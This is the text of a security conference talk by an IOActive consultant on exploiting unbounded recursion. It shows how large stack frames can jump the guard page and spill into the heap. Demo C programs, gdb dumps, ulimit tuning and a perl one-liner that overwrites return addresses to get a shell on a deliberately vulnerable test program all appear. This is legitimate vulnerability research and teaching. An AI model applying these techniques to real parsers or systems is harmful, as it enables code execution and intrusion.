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Jumping the Guard Page for 
Fun and Profit

Recursive Stack Overflows



Who am I?

 Shaun Colley

 Security Consultant for IOActive

 Sounds standard but, I like trying to break 
things
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What are we talking about?

 Stack overflows
  By which I mean, placing recursive 

function calls until stack space runs 
out.

 Why?
  Lots of parsers are written to parse 

user-supplied input recursively…
  Think XML …

 Consider this program:
int func() {
func();
}

int main() {
func();
}
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The program calls func(), which calls func(), 
which calls func() …  until stack space runs out 
and the program attempts to push the next stack 
frame onto the guard page (which is non-
readable and non-writeable)…causing a seg 
fault scolley@playground:~$ cat crash.c

int func() {

func();

}

int main() {

func();

}

scolley@playground:~$ ./crash

Segmentation fault (core dumped)

scolley@playground:~$
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These guard(/gap) page(s) exist to 
prevent the stack from growing into the 
heap…
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 Ultimately, this is supposed to prevent stack 
overflows from resulting in heap memory being 
overwritten.

 However, for a while the Linux kernel 2.6.x didn’t 
have guard pages between the stack and the 
heap!
 This was solved by Linus Torvalds himself in 

August 2010
http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-
2.6.git;a=commitdiff;h=320b2b8de12698082609ebbc1a17165727f4
c893
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 But let’s assume we are working on a recent 
version of kernel 2.6.x

 Or we could be using another OS that utilizes a 
guard, such as OpenSolaris, *BSD, or Windows

 For this talk, we’re using Ubuntu kernel 2.6.32.  
GCC 4.4.3, not compiling with ‘-fstack-check’

 So how do we exploit these stack overflows ?
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 Imagine we can get the stack and heap fairly 
close to each other, and then as pushed stack 
frames approach the guard page, we ‘jump’ over 
this page

 Then, as more func() stack frames continue to be 
pushed, they will start to be pushed to heap 
memory

 How do we ‘jump’ over the guard page?  
 Something like this…

int func() {

char buf[4096];

func();
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 Given

 i.e. gives this in the function prologue:

 where n >= 4096
 In the next invocation of func(), the above 

function prologue pushes the saved ret addr and 
frame pointer into heap memory, past the guard 
page

int func() {
char buf[4096];
func();
}

pushl %ebp
movl %esp, %ebp
subl $n, %esp
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 Being able to ‘jump the guard page’ depends on
 The recursively called function(s) declaring sufficiently 

large local stack variables
 Heap memory close to the other side of the guard page 

being allocated

 This relies on making the vulnerable app allocate A 
LOT of heap memory… ideally, ~2-3GB

 This may not be a problem on systems with a lot of 
swap, but some systems don’t have such resources
 In some cases, the kernel sends a SIGKILL and 

terminates the process.
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 However, if we can get heap memory allocated fairly 
close to the guard page and the recursive function 
allocates sufficiently large stack variables, we’re in 
with a chance of ‘jumping the guard page’ and 
spilling stack frames into the heap

 We can also manipulate stack size rlimits to help us, 
which will be inherited by suid/sgid processes

 In addition, many apps give us full control over 
unbounded malloc() calls

 So let’s see a demo of stack frames trashing heap 
memory...
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int f(char *ptr, int size) {

i++;

char msg[] = 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";

char b[140000];

printf("%d: %s\n", i, msg);

/* blah blah, do some operation */

if(i < recursions)

f(ptr, size);

return 0;

}

1. Program takes heap 
allocation size and number 
of f() calls as  arguments

2. Program allocates the 
heap memory and 
initialises it all to 0x90

3. f() declares a local stack 
buffer of size 140000 and 
a second buffer containing 
32 a’s (0x61)

4. f() continues to call itself 
until number of recursions 
is done
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  Function prologue for f()

(gdb) disas f
Dump of assembler code for function f:
   0x080484f4 <+0>:     push   %ebp
   0x080484f5 <+1>:     mov    %esp,%ebp
   0x080484f7 <+3>:     sub    $0x22328,%esp
   0x080484fd <+9>:     mov    0x804a030,%eax
   0x08048502 <+14>:    add    $0x1,%eax
   0x08048505 <+17>:    mov    %eax,0x804a030
   0x0804850a <+22>:    movl   $0x61616161,-0x29(%ebp)
   0x08048511 <+29>:    movl   $0x61616161,-0x25(%ebp)
   0x08048518 <+36>:    movl   $0x61616161,-0x21(%ebp)
   0x0804851f <+43>:    movl   $0x61616161,-0x1d(%ebp)
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 Using ulimit to change the stack size to 1,000,000KB and 
having malloc(n) = malloc(10000000) gets the stack and heap 
about 53KB apart
 More swap to work with means getting them a lot closer

 Using gdb, take an app-specific and a system-specific 
perspective
 Each app will have a different stack layout and declared 

variables; you’ll need to play around

 7400 recursive calls is a good number to spill stack frames 
onto the heap in this particular program
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(gdb) r 10000000 7400

The program being debugged has been started already.

Start it from the beginning? (y or n) y

[ OUTPUT SNIPPED]

7377: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

7378: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

7379: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

7380: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

7381: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.

0x08048520 in f ()

(gdb) find 0x825d4008, +100000, 0x61616161

0x825d4c8f

0x825d4c90

[ OUTPUT SNIPPED ]
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(gdb) x/1000x 0x825d4cca-140
0x825d4c3e:     0x90909090      0x90909090      0x90909090      0x90909090
0x825d4c4e:     0x90909090      0x90909090      0x90909090      0x90909090
0x825d4c5e:     0x90909090      0x90909090      0x90909090      0x90909090
0x825d4c6e:     0x90909090      0x90909090      0x90909090      0x90909090
0x825d4c7e:     0x90909090      0x90909090      0x90909090      0x90909090
0x825d4c8e:     0x90909090      0x1cd69090      0x90900000      0x90909090
0x825d4c9e:     0x90909090      0x90909090      0x90909090      0x4cf49090
0x825d4cae:     0x9090825d      0x90909090      0x4cd89090      0x3ff4825d
0x825d4cbe:     0x61616128      0x61616161      0x61616161      0x61616161
0x825d4cce:     0x61616161      0x61616161      0x61616161      0x61616161
0x825d4cde:     0x4cf40061      0x3ff4825d      0x70180028      0x8585825f
0x825d4cee:     0x40080804      0x9680825d      0x6fef0098      0x9090825f
0x825d4cfe:     0x90909090      0x90909090      0x90909090      0x90909090
0x825d4d0e:     0x90909090      0x90909090      0x90909090      0x90909090
0x825d4d1e:     0x90909090      0x90909090      0x90909090      0x90909090
0x825d4d2e:     0x90909090      0x90909090      0x90909090      0x90909090
0x825d4d3e:     0x90909090      0x90909090      0x90909090      0x90909090
0x825d4d4e:     0x90909090      0x90909090      0x90909090      0x90909090
0x825d4d5e:     0x90909090      0x90909090      0x90909090      0x90909090
0x825d4d6e:     0x90909090      0x90909090      0x90909090      0x90909090
0x825d4d7e:     0x90909090      0x90909090      0x90909090      0x90909090
0x825d4d8e:     0x90909090      0x90909090      0x90909090      0x90909090

0x90s on the heap have been overwritten by stack frames; note 
the 0x61 bytes that have replaced the 0x90s
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 The function’s prologue

 Dump of assembler code for function f

(gdb) disas f

0x080484f4 <+0>:     push   %ebp
   0x080484f5 <+1>:     mov    %esp,%ebp
   0x080484f7 <+3>:     sub    $0x22328,%esp
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 Result:  We can get ESP jumping the guard page and 
stack frames are getting written into the heap
 If the app later writes to the heap, there’s a chance of saved 

return addresses being overwritten, which shouldn’t happen

 Next scenario:  Another sample program -  jmp.c:
  jmp.c is an adapted version of the previous app except it 

fills the malloc()’d buffer by repeating 8-bytes from a file we 
control after f() has been called the number of times 
specified
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Important bit of jmp.c
int f(char *ptr, int size) {
i++;
char msg[] = "f(): do something....";
char b[140000];

printf("%d: %s\n", i, msg);

/* blah blah, do some operation */

if(i < recursions)
f(ptr, size);

/* parsing complete, data accepted, copy to the malloc'd buffer
 * for later usage */
for(x = 0; x < size; x += 8)
        for(z = 0; z < 8; z++)
                ptr[x+z] = filedata[z];
return 0;
}
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 Given the number of recursions is less than we’ve 
asked for, f() is called again

 If done recursing, the malloc()’d memory block is filled 
by repeating the eight supplied bytes in the overflow file

 If stack frames have jumped onto the heap during 
recursive calling of f()
 Filling the malloc()’d memory area will overwrite 

return addresses and saved FPs
 Therefore, when f() returns, we have total control of 

EIP
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  jmp.c contains the following function:

int execshell() {

system(“/bin/sh”);

}

 This is dead code…there is no execshell() call in our program

 So, let’s try to exploit jmp.c to execute execshell() and give us a 
shell prompt
 Put the address of execshell() in the file from which the app reads 

(./overflow)

 If stack frames are written to the heap, return addresses will be 
overwritten and it’s Game Over
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scolley@playground:~$ ulimit -s 1000000

scolley@playground:~$ gdb -q ./jmp

Reading symbols from /home/scolley/jmp...done.

(gdb) p execshell

$1 = {int ()} 0x80486d4 <execshell>

(gdb) ^CQuit

(gdb) quit

scolley@playground:~$ echo `perl -e 'print "\xd4\x86\x04\x08"x2'` 
>overflow

scolley@playground:~$ gdb -q ./jmp

Reading symbols from /home/scolley/jmp...done.

(gdb) r 10000000 7320

[ OUTPUT SNIPPED ]

7314: f(): do something....

7315: f(): do something....

7316: f(): do something....

7317: f(): do something....

7318: f(): do something....

7319: f(): do something....

7320: f(): do something....

$ id -a

uid=1010(scolley) gid=1011(scolley) groups=111(admin),1011(scolley)



See demo of the exploit scenario and get full code for the vulnerable program here:

http://s1214.photobucket.com/albums/cc481/scolleyuk/?action=view&current=dc4420_vid.mp4

http://www.2shared.com/file/LbrzL7b5/jmp.html

http://s1214.photobucket.com/albums/cc481/scolleyuk/?action=view&current=dc4420_vid.mp4
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 This is sort of like heap spraying
 We have pieces of data we’d like to control
 We can control them since they end up in a big chunk of 

heap memory, which we control—obviously not what was 
intended

 However, stack frames might spill into pointers on the 
heap
 In which case we would have to control these pointers via 

stack values

 Bottom line:  these bugs can be application specific
 If you find a recursion bug, hope stack declarations and 

the ability to allocate heap memory are in your favour
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                                         Questions?
              

For further information:

IOActive, Ltd

www.ioactive.co.uk

scolley@ioactive.co.uk

+44 (0) 8081.012678

http://www.ioactive.co.uk/
mailto:scolley@ioactive.co.uk
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